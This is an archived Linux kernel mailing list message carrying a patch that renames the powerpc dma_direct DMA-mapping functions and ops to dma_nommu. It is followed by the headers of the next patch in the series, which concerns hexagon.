Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1755955AbdL2IUn (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:43 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46540 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755856AbdL2IUh (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 29 Dec 2017 03:20:37 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=arz+MLVaSKwBFdRfjgT6rraF1jFk1nlDpf1Kj2En7AE=; b=o83nzpwprXt4I8JsXurx6RVQ8
        YdFmlEC8i4rYWqNULqT+lPzYytiu/DInJXF6rNSBwWmj4mBfYIChIPHcFWbCOCdjJ50vYUPaphlLN
        Oae1T3eKgAiG/iRyJ/oZeLVCy8CUt0zNDIMNc/VxZQwJ76a+QCRIvd4G9zIPiM5MeIOs5VqRbdirI
        xUKSfqp3PSdtVUSh50KaqMa3M/YolVyN+TMIeTsN/AFQDFK4pkRoHavnUv5FMouZ0Tn4l3YUq+acY
        vwWl15pXW7Q01+AEb59aDTeZiUWwhZr1TtRZyV3xukSiOMSgEQnfpVLt0kXO+LQXxGNOMw88tIoU7
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpu0-0000t1-7m; Fri, 29 Dec 2017 08:20:29 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1486 gmane.linux.kernel.iommu:21892 gmane.linux.ports.alpha:4559 gmane.linux.kernel.arc:3180 gmane.linux.ports.arm.kernel:622905 gmane.linux.ports.hexagon:1412 gmane.linux.ports.ia64:28402 gmane.linux.ports.mips.general:62935 gmane.linux.ports.parisc:28077 gmane.linux.ports.ppc64.devel:151509 gmane.linux.ports.sh.devel:56048 gmane.linux.ports.sparc:27055 gmane.linux.kernel.cross-arch:40795 gmane.linux.kernel:2654221
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1486>

We want to use the dma_direct_ namespace for a generic implementation,
so rename powerpc to the second best choice: dma_nommu_.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/powerpc/include/asm/dma-mapping.h    |  8 ++--
 arch/powerpc/kernel/dma-iommu.c           |  2 +-
 arch/powerpc/kernel/dma-swiotlb.c         |  6 +--
 arch/powerpc/kernel/dma.c                 | 68 +++++++++++++++----------------
 arch/powerpc/kernel/pci-common.c          |  2 +-
 arch/powerpc/kernel/setup-common.c        |  2 +-
 arch/powerpc/platforms/cell/iommu.c       | 28 ++++++-------
 arch/powerpc/platforms/pasemi/iommu.c     |  2 +-
 arch/powerpc/platforms/pasemi/setup.c     |  2 +-
 arch/powerpc/platforms/powernv/pci-ioda.c |  4 +-
 arch/powerpc/platforms/pseries/iommu.c    |  2 +-
 arch/powerpc/platforms/pseries/vio.c      |  2 +-
 arch/powerpc/sysdev/dart_iommu.c          |  4 +-
 arch/powerpc/sysdev/fsl_pci.c             |  2 +-
 drivers/misc/cxl/vphb.c                   |  2 +-
 15 files changed, 68 insertions(+), 68 deletions(-)

diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index f6ab51205a85..8fa394520af6 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -19,13 +19,13 @@
 #include <asm/swiotlb.h>
 
 /* Some dma direct funcs must be visible for use in other dma_ops */
-extern void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
+extern void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 					 dma_addr_t *dma_handle, gfp_t flag,
 					 unsigned long attrs);
-extern void __dma_direct_free_coherent(struct device *dev, size_t size,
+extern void __dma_nommu_free_coherent(struct device *dev, size_t size,
 				       void *vaddr, dma_addr_t dma_handle,
 				       unsigned long attrs);
-extern int dma_direct_mmap_coherent(struct device *dev,
+extern int dma_nommu_mmap_coherent(struct device *dev,
 				    struct vm_area_struct *vma,
 				    void *cpu_addr, dma_addr_t handle,
 				    size_t size, unsigned long attrs);
@@ -73,7 +73,7 @@ static inline unsigned long device_to_mask(struct device *dev)
 #ifdef CONFIG_PPC64
 extern struct dma_map_ops dma_iommu_ops;
 #endif
-extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_nommu_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
diff --git a/arch/powerpc/kernel/dma-iommu.c b/arch/powerpc/kernel/dma-iommu.c
index 66f33e7f8d40..f9fe2080ceb9 100644
--- a/arch/powerpc/kernel/dma-iommu.c
+++ b/arch/powerpc/kernel/dma-iommu.c
@@ -114,7 +114,7 @@ int dma_iommu_mapping_error(struct device *dev, dma_addr_t dma_addr)
 struct dma_map_ops dma_iommu_ops = {
 	.alloc			= dma_iommu_alloc_coherent,
 	.free			= dma_iommu_free_coherent,
-	.mmap			= dma_direct_mmap_coherent,
+	.mmap			= dma_nommu_mmap_coherent,
 	.map_sg			= dma_iommu_map_sg,
 	.unmap_sg		= dma_iommu_unmap_sg,
 	.dma_supported		= dma_iommu_dma_supported,
diff --git a/arch/powerpc/kernel/dma-swiotlb.c b/arch/powerpc/kernel/dma-swiotlb.c
index d0ea7860e02b..f1e99b9cee97 100644
--- a/arch/powerpc/kernel/dma-swiotlb.c
+++ b/arch/powerpc/kernel/dma-swiotlb.c
@@ -47,9 +47,9 @@ static u64 swiotlb_powerpc_get_required(struct device *dev)
  * for everything else.
  */
 const struct dma_map_ops swiotlb_dma_ops = {
-	.alloc = __dma_direct_alloc_coherent,
-	.free = __dma_direct_free_coherent,
-	.mmap = dma_direct_mmap_coherent,
+	.alloc = __dma_nommu_alloc_coherent,
+	.free = __dma_nommu_free_coherent,
+	.mmap = dma_nommu_mmap_coherent,
 	.map_sg = swiotlb_map_sg_attrs,
 	.unmap_sg = swiotlb_unmap_sg_attrs,
 	.dma_supported = swiotlb_dma_supported,
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index df0e7bb97ab5..5d49da094a93 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -40,7 +40,7 @@ static u64 __maybe_unused get_pfn_limit(struct device *dev)
 	return pfn;
 }
 
-static int dma_direct_dma_supported(struct device *dev, u64 mask)
+static int dma_nommu_dma_supported(struct device *dev, u64 mask)
 {
 #ifdef CONFIG_PPC64
 	u64 limit = get_dma_offset(dev) + (memblock_end_of_DRAM() - 1);
@@ -62,7 +62,7 @@ static int dma_direct_dma_supported(struct device *dev, u64 mask)
 #endif
 }
 
-void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
+void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				  dma_addr_t *dma_handle, gfp_t flag,
 				  unsigned long attrs)
 {
@@ -119,7 +119,7 @@ void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
 #endif
 }
 
-void __dma_direct_free_coherent(struct device *dev, size_t size,
+void __dma_nommu_free_coherent(struct device *dev, size_t size,
 				void *vaddr, dma_addr_t dma_handle,
 				unsigned long attrs)
 {
@@ -130,7 +130,7 @@ void __dma_direct_free_coherent(struct device *dev, size_t size,
 #endif
 }
 
-static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
+static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
@@ -139,8 +139,8 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 	/* The coherent mask may be smaller than the real mask, check if
 	 * we can really use the direct ops
 	 */
-	if (dma_direct_dma_supported(dev, dev->coherent_dma_mask))
-		return __dma_direct_alloc_coherent(dev, size, dma_handle,
+	if (dma_nommu_dma_supported(dev, dev->coherent_dma_mask))
+		return __dma_nommu_alloc_coherent(dev, size, dma_handle,
 						   flag, attrs);
 
 	/* Ok we can't ... do we have an iommu ? If not, fail */
@@ -154,15 +154,15 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 				    dev_to_node(dev));
 }
 
-static void dma_direct_free_coherent(struct device *dev, size_t size,
+static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
 	struct iommu_table *iommu;
 
-	/* See comments in dma_direct_alloc_coherent() */
-	if (dma_direct_dma_supported(dev, dev->coherent_dma_mask))
-		return __dma_direct_free_coherent(dev, size, vaddr, dma_handle,
+	/* See comments in dma_nommu_alloc_coherent() */
+	if (dma_nommu_dma_supported(dev, dev->coherent_dma_mask))
+		return __dma_nommu_free_coherent(dev, size, vaddr, dma_handle,
 						  attrs);
 	/* Maybe we used an iommu ... */
 	iommu = get_iommu_table_base(dev);
@@ -175,7 +175,7 @@ static void dma_direct_free_coherent(struct device *dev, size_t size,
 	iommu_free_coherent(iommu, size, vaddr, dma_handle);
 }
 
-int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			     void *cpu_addr, dma_addr_t handle, size_t size,
 			     unsigned long attrs)
 {
@@ -193,7 +193,7 @@ int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			       vma->vm_page_prot);
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 			     int nents, enum dma_data_direction direction,
 			     unsigned long attrs)
 {
@@ -213,13 +213,13 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static void dma_direct_unmap_sg(struct device *dev, struct scatterlist *sg,
+static void dma_nommu_unmap_sg(struct device *dev, struct scatterlist *sg,
 				int nents, enum dma_data_direction direction,
 				unsigned long attrs)
 {
 }
 
-static u64 dma_direct_get_required_mask(struct device *dev)
+static u64 dma_nommu_get_required_mask(struct device *dev)
 {
 	u64 end, mask;
 
@@ -231,7 +231,7 @@ static u64 dma_direct_get_required_mask(struct device *dev)
 	return mask;
 }
 
-static inline dma_addr_t dma_direct_map_page(struct device *dev,
+static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
 					     size_t size,
@@ -246,7 +246,7 @@ static inline dma_addr_t dma_direct_map_page(struct device *dev,
 	return page_to_phys(page) + offset + get_dma_offset(dev);
 }
 
-static inline void dma_direct_unmap_page(struct device *dev,
+static inline void dma_nommu_unmap_page(struct device *dev,
 					 dma_addr_t dma_address,
 					 size_t size,
 					 enum dma_data_direction direction,
@@ -255,7 +255,7 @@ static inline void dma_direct_unmap_page(struct device *dev,
 }
 
 #ifdef CONFIG_NOT_COHERENT_CACHE
-static inline void dma_direct_sync_sg(struct device *dev,
+static inline void dma_nommu_sync_sg(struct device *dev,
 		struct scatterlist *sgl, int nents,
 		enum dma_data_direction direction)
 {
@@ -266,7 +266,7 @@ static inline void dma_direct_sync_sg(struct device *dev,
 		__dma_sync_page(sg_page(sg), sg->offset, sg->length, direction);
 }
 
-static inline void dma_direct_sync_single(struct device *dev,
+static inline void dma_nommu_sync_single(struct device *dev,
 					  dma_addr_t dma_handle, size_t size,
 					  enum dma_data_direction direction)
 {
@@ -274,25 +274,25 @@ static inline void dma_direct_sync_single(struct device *dev,
 }
 #endif
 
-const struct dma_map_ops dma_direct_ops = {
-	.alloc				= dma_direct_alloc_coherent,
-	.free				= dma_direct_free_coherent,
-	.mmap				= dma_direct_mmap_coherent,
-	.map_sg				= dma_direct_map_sg,
-	.unmap_sg			= dma_direct_unmap_sg,
-	.dma_supported			= dma_direct_dma_supported,
-	.map_page			= dma_direct_map_page,
-	.unmap_page			= dma_direct_unmap_page,
-	.get_required_mask		= dma_direct_get_required_mask,
+const struct dma_map_ops dma_nommu_ops = {
+	.alloc				= dma_nommu_alloc_coherent,
+	.free				= dma_nommu_free_coherent,
+	.mmap				= dma_nommu_mmap_coherent,
+	.map_sg				= dma_nommu_map_sg,
+	.unmap_sg			= dma_nommu_unmap_sg,
+	.dma_supported			= dma_nommu_dma_supported,
+	.map_page			= dma_nommu_map_page,
+	.unmap_page			= dma_nommu_unmap_page,
+	.get_required_mask		= dma_nommu_get_required_mask,
 #ifdef CONFIG_NOT_COHERENT_CACHE
-	.sync_single_for_cpu 		= dma_direct_sync_single,
-	.sync_single_for_device 	= dma_direct_sync_single,
-	.sync_sg_for_cpu 		= dma_direct_sync_sg,
-	.sync_sg_for_device 		= dma_direct_sync_sg,
+	.sync_single_for_cpu 		= dma_nommu_sync_single,
+	.sync_single_for_device 	= dma_nommu_sync_single,
+	.sync_sg_for_cpu 		= dma_nommu_sync_sg,
+	.sync_sg_for_device 		= dma_nommu_sync_sg,
 #endif
 	.is_phys			= true,
 };
-EXPORT_SYMBOL(dma_direct_ops);
+EXPORT_SYMBOL(dma_nommu_ops);
 
 int dma_set_coherent_mask(struct device *dev, u64 mask)
 {
@@ -303,7 +303,7 @@ int dma_set_coherent_mask(struct device *dev, u64 mask)
 		 * is no dma_op->set_coherent_mask() so we have to do
 		 * things the hard way:
 		 */
-		if (get_dma_ops(dev) != &dma_direct_ops ||
+		if (get_dma_ops(dev) != &dma_nommu_ops ||
 		    get_iommu_table_base(dev) == NULL ||
 		    !dma_iommu_dma_supported(dev, mask))
 			return -EIO;
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index 0ac7aa346c69..590f4d0a6cb1 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -60,7 +60,7 @@ resource_size_t isa_mem_base;
 EXPORT_SYMBOL(isa_mem_base);
 
 
-static const struct dma_map_ops *pci_dma_ops = &dma_direct_ops;
+static const struct dma_map_ops *pci_dma_ops = &dma_nommu_ops;
 
 void set_pci_dma_ops(const struct dma_map_ops *dma_ops)
 {
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 9d213542a48b..9b89df1e71ab 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -791,7 +791,7 @@ void arch_setup_pdev_archdata(struct platform_device *pdev)
 {
 	pdev->archdata.dma_mask = DMA_BIT_MASK(32);
 	pdev->dev.dma_mask = &pdev->archdata.dma_mask;
- 	set_dma_ops(&pdev->dev, &dma_direct_ops);
+ 	set_dma_ops(&pdev->dev, &dma_nommu_ops);
 }
 
 static __init void print_system_info(void)
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index 4b91ad08eefd..12352a58072a 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -541,7 +541,7 @@ static struct cbe_iommu *cell_iommu_for_node(int nid)
 	return NULL;
 }
 
-static unsigned long cell_dma_direct_offset;
+static unsigned long cell_dma_nommu_offset;
 
 static unsigned long dma_iommu_fixed_base;
 
@@ -580,7 +580,7 @@ static void *dma_fixed_alloc_coherent(struct device *dev, size_t size,
 					    device_to_mask(dev), flag,
 					    dev_to_node(dev));
 	else
-		return dma_direct_ops.alloc(dev, size, dma_handle, flag,
+		return dma_nommu_ops.alloc(dev, size, dma_handle, flag,
 					    attrs);
 }
 
@@ -592,7 +592,7 @@ static void dma_fixed_free_coherent(struct device *dev, size_t size,
 		iommu_free_coherent(cell_get_iommu_table(dev), size, vaddr,
 				    dma_handle);
 	else
-		dma_direct_ops.free(dev, size, vaddr, dma_handle, attrs);
+		dma_nommu_ops.free(dev, size, vaddr, dma_handle, attrs);
 }
 
 static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
@@ -601,7 +601,7 @@ static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
 				     unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		return dma_direct_ops.map_page(dev, page, offset, size,
+		return dma_nommu_ops.map_page(dev, page, offset, size,
 					       direction, attrs);
 	else
 		return iommu_map_page(dev, cell_get_iommu_table(dev), page,
@@ -614,7 +614,7 @@ static void dma_fixed_unmap_page(struct device *dev, dma_addr_t dma_addr,
 				 unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		dma_direct_ops.unmap_page(dev, dma_addr, size, direction,
+		dma_nommu_ops.unmap_page(dev, dma_addr, size, direction,
 					  attrs);
 	else
 		iommu_unmap_page(cell_get_iommu_table(dev), dma_addr, size,
@@ -626,7 +626,7 @@ static int dma_fixed_map_sg(struct device *dev, struct scatterlist *sg,
 			   unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		return dma_direct_ops.map_sg(dev, sg, nents, direction, attrs);
+		return dma_nommu_ops.map_sg(dev, sg, nents, direction, attrs);
 	else
 		return ppc_iommu_map_sg(dev, cell_get_iommu_table(dev), sg,
 					nents, device_to_mask(dev),
@@ -638,7 +638,7 @@ static void dma_fixed_unmap_sg(struct device *dev, struct scatterlist *sg,
 			       unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		dma_direct_ops.unmap_sg(dev, sg, nents, direction, attrs);
+		dma_nommu_ops.unmap_sg(dev, sg, nents, direction, attrs);
 	else
 		ppc_iommu_unmap_sg(cell_get_iommu_table(dev), sg, nents,
 				   direction, attrs);
@@ -661,8 +661,8 @@ static void cell_dma_dev_setup(struct device *dev)
 {
 	if (get_pci_dma_ops() == &dma_iommu_ops)
 		set_iommu_table_base(dev, cell_get_iommu_table(dev));
-	else if (get_pci_dma_ops() == &dma_direct_ops)
-		set_dma_offset(dev, cell_dma_direct_offset);
+	else if (get_pci_dma_ops() == &dma_nommu_ops)
+		set_dma_offset(dev, cell_dma_nommu_offset);
 	else
 		BUG();
 }
@@ -810,14 +810,14 @@ static int __init cell_iommu_init_disabled(void)
 	unsigned long base = 0, size;
 
 	/* When no iommu is present, we use direct DMA ops */
-	set_pci_dma_ops(&dma_direct_ops);
+	set_pci_dma_ops(&dma_nommu_ops);
 
 	/* First make sure all IOC translation is turned off */
 	cell_disable_iommus();
 
 	/* If we have no Axon, we set up the spider DMA magic offset */
 	if (of_find_node_by_name(NULL, "axon") == NULL)
-		cell_dma_direct_offset = SPIDER_DMA_OFFSET;
+		cell_dma_nommu_offset = SPIDER_DMA_OFFSET;
 
 	/* Now we need to check to see where the memory is mapped
 	 * in PCI space. We assume that all busses use the same dma
@@ -851,13 +851,13 @@ static int __init cell_iommu_init_disabled(void)
 		return -ENODEV;
 	}
 
-	cell_dma_direct_offset += base;
+	cell_dma_nommu_offset += base;
 
-	if (cell_dma_direct_offset != 0)
+	if (cell_dma_nommu_offset != 0)
 		cell_pci_controller_ops.dma_dev_setup = cell_pci_dma_dev_setup;
 
 	printk("iommu: disabled, direct DMA offset is 0x%lx\n",
-	       cell_dma_direct_offset);
+	       cell_dma_nommu_offset);
 
 	return 0;
 }
diff --git a/arch/powerpc/platforms/pasemi/iommu.c b/arch/powerpc/platforms/pasemi/iommu.c
index 7fec04de27fc..78b80cbd9768 100644
--- a/arch/powerpc/platforms/pasemi/iommu.c
+++ b/arch/powerpc/platforms/pasemi/iommu.c
@@ -186,7 +186,7 @@ static void pci_dma_dev_setup_pasemi(struct pci_dev *dev)
 	 */
 	if (dev->vendor == 0x1959 && dev->device == 0xa007 &&
 	    !firmware_has_feature(FW_FEATURE_LPAR)) {
-		dev->dev.dma_ops = &dma_direct_ops;
+		dev->dev.dma_ops = &dma_nommu_ops;
 		/*
 		 * Set the coherent DMA mask to prevent the iommu
 		 * being used unnecessarily
diff --git a/arch/powerpc/platforms/pasemi/setup.c b/arch/powerpc/platforms/pasemi/setup.c
index c4a3e93dc324..d0b8ae53660d 100644
--- a/arch/powerpc/platforms/pasemi/setup.c
+++ b/arch/powerpc/platforms/pasemi/setup.c
@@ -363,7 +363,7 @@ static int pcmcia_notify(struct notifier_block *nb, unsigned long action,
 		return 0;
 
 	/* We use the direct ops for localbus */
-	dev->dma_ops = &dma_direct_ops;
+	dev->dma_ops = &dma_nommu_ops;
 
 	return 0;
 }
diff --git a/arch/powerpc/platforms/powernv/pci-ioda.c b/arch/powerpc/platforms/powernv/pci-ioda.c
index 749055553064..9582aeb1fe4c 100644
--- a/arch/powerpc/platforms/powernv/pci-ioda.c
+++ b/arch/powerpc/platforms/powernv/pci-ioda.c
@@ -1850,7 +1850,7 @@ static int pnv_pci_ioda_dma_set_mask(struct pci_dev *pdev, u64 dma_mask)
 
 	if (bypass) {
 		dev_info(&pdev->dev, "Using 64-bit DMA iommu bypass\n");
-		set_dma_ops(&pdev->dev, &dma_direct_ops);
+		set_dma_ops(&pdev->dev, &dma_nommu_ops);
 	} else {
 		/*
 		 * If the device can't set the TCE bypass bit but still wants
@@ -1868,7 +1868,7 @@ static int pnv_pci_ioda_dma_set_mask(struct pci_dev *pdev, u64 dma_mask)
 				return rc;
 			/* 4GB offset bypasses 32-bit space */
 			set_dma_offset(&pdev->dev, (1ULL << 32));
-			set_dma_ops(&pdev->dev, &dma_direct_ops);
+			set_dma_ops(&pdev->dev, &dma_nommu_ops);
 		} else if (dma_mask >> 32 && dma_mask != DMA_BIT_MASK(64)) {
 			/*
 			 * Fail the request if a DMA mask between 32 and 64 bits
diff --git a/arch/powerpc/platforms/pseries/iommu.c b/arch/powerpc/platforms/pseries/iommu.c
index 69921f72e2da..eaa11334fc8c 100644
--- a/arch/powerpc/platforms/pseries/iommu.c
+++ b/arch/powerpc/platforms/pseries/iommu.c
@@ -1231,7 +1231,7 @@ static int dma_set_mask_pSeriesLP(struct device *dev, u64 dma_mask)
 			if (dma_offset != 0) {
 				dev_info(dev, "Using 64-bit direct DMA at offset %llx\n", dma_offset);
 				set_dma_offset(dev, dma_offset);
-				set_dma_ops(dev, &dma_direct_ops);
+				set_dma_ops(dev, &dma_nommu_ops);
 				ddw_enabled = true;
 			}
 		}
diff --git a/arch/powerpc/platforms/pseries/vio.c b/arch/powerpc/platforms/pseries/vio.c
index d86938260a86..49e04ec19238 100644
--- a/arch/powerpc/platforms/pseries/vio.c
+++ b/arch/powerpc/platforms/pseries/vio.c
@@ -618,7 +618,7 @@ static u64 vio_dma_get_required_mask(struct device *dev)
 static const struct dma_map_ops vio_dma_mapping_ops = {
 	.alloc             = vio_dma_iommu_alloc_coherent,
 	.free              = vio_dma_iommu_free_coherent,
-	.mmap		   = dma_direct_mmap_coherent,
+	.mmap		   = dma_nommu_mmap_coherent,
 	.map_sg            = vio_dma_iommu_map_sg,
 	.unmap_sg          = vio_dma_iommu_unmap_sg,
 	.map_page          = vio_dma_iommu_map_page,
diff --git a/arch/powerpc/sysdev/dart_iommu.c b/arch/powerpc/sysdev/dart_iommu.c
index 3573d54b2770..a6198d4f0f03 100644
--- a/arch/powerpc/sysdev/dart_iommu.c
+++ b/arch/powerpc/sysdev/dart_iommu.c
@@ -402,7 +402,7 @@ static int dart_dma_set_mask(struct device *dev, u64 dma_mask)
 	 */
 	if (dart_device_on_pcie(dev) && dma_mask >= DMA_BIT_MASK(40)) {
 		dev_info(dev, "Using 64-bit DMA iommu bypass\n");
-		set_dma_ops(dev, &dma_direct_ops);
+		set_dma_ops(dev, &dma_nommu_ops);
 	} else {
 		dev_info(dev, "Using 32-bit DMA via iommu\n");
 		set_dma_ops(dev, &dma_iommu_ops);
@@ -446,7 +446,7 @@ void __init iommu_init_early_dart(struct pci_controller_ops *controller_ops)
 	controller_ops->dma_bus_setup = NULL;
 
 	/* Setup pci_dma ops */
-	set_pci_dma_ops(&dma_direct_ops);
+	set_pci_dma_ops(&dma_nommu_ops);
 }
 
 #ifdef CONFIG_PM
diff --git a/arch/powerpc/sysdev/fsl_pci.c b/arch/powerpc/sysdev/fsl_pci.c
index 22d98057f773..e4d0133bbeeb 100644
--- a/arch/powerpc/sysdev/fsl_pci.c
+++ b/arch/powerpc/sysdev/fsl_pci.c
@@ -135,7 +135,7 @@ static int fsl_pci_dma_set_mask(struct device *dev, u64 dma_mask)
 	 * mapping that allows addressing any RAM address from across PCI.
 	 */
 	if (dev_is_pci(dev) && dma_mask >= pci64_dma_offset * 2 - 1) {
-		set_dma_ops(dev, &dma_direct_ops);
+		set_dma_ops(dev, &dma_nommu_ops);
 		set_dma_offset(dev, pci64_dma_offset);
 	}
 
diff --git a/drivers/misc/cxl/vphb.c b/drivers/misc/cxl/vphb.c
index 512a4897dbf6..7fd0bdc1436a 100644
--- a/drivers/misc/cxl/vphb.c
+++ b/drivers/misc/cxl/vphb.c
@@ -54,7 +54,7 @@ static bool cxl_pci_enable_device_hook(struct pci_dev *dev)
 		return false;
 	}
 
-	set_dma_ops(&dev->dev, &dma_direct_ops);
+	set_dma_ops(&dev->dev, &dma_nommu_ops);
 	set_dma_offset(&dev->dev, PAGE_OFFSET);
 
 	return _cxl_pci_associate_default_context(dev, afu);
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 15/67] hexagon: use the generic dma_capable helper
Date: Fri, 29 Dec 2017 09:18:19 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20171229081911.2802-16-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535530 28548 195.159.176.226 (29 Dec 2017 08:18:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:50 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:18:44 2017
